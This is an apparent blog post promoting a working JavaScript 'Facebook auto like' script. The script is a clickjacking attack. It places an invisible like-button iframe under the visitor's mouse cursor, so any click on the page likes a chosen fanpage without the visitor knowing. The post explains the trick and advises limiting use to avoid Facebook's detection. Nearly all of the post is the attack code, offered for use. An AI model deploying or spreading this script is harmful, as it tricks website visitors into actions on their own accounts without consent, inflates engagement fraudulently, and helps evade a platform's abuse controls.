Hello Everyone
#youthpress
YouthPress.In
http://youthpress.in/
#youthpress
YouthPress.In
http://youthpress.in/
Facebook auto like script Working I want to post something that I love to use:
It's a javascript file that creates the auto-like function.
This is a great script that I made some fixes; before, the like function used to be disabled on a second click, but now it doesn't matter how many clicks the users do... the like was taken and persists that way.
How it work-
This script creates a hidden like button that floats within the mouse cursor. When users do clicks (pictures, links and so on) they are liking your fanpage or url!
Note-
Don't use it more than 10 minutes per hour. FB detects it and disables it right away.
Change FACEBOOK URL to url of facebook
(function(){ var Xcord = 0, Ycord = 0, IE = document.all ? true : false; if (!IE) document.captureEvents(Event.MOUSEMOVE); var lbox = document.createElement('iframe'); lbox.src = 'FACEBOOK URL/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'FACEBOOK URl/username') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80'; lbox.scrolling = 'no'; lbox.frameBorder = 0; lbox.allowTransparency = 'true'; lbox.style.border = 0; lbox.style.overflow = 'hidden'; lbox.style.cursor = 'pointer'; lbox.style.width = '53px'; lbox.style.height = '23px'; lbox.style.position = 'absolute'; lbox.style.opacity = 0; document.getElementsByTagName('body')[0].appendChild(lbox); window.addEventListener('mousemove', mouseMove, false); setTimeout(function(){ document.getElementsByTagName('body')[0].removeChild(lbox); window.removeEventListener('mousemove', mouseMove, false); }, 20000); function mouseMove(e) { if (IE) { Xcord = event.clientX + document.body.scrollLeft; Ycord = event.clientY + document.body.scrollTop; } else { Xcord = e.pageX; Ycord = e.pageY; } if (Xcord < 0) Xcord = 0; if (Ycord < 0) Ycord = 0; lbox.style.top = (Ycord - 8) + 'px'; lbox.style.left = (Xcord - 25) + 'px'; return true } })();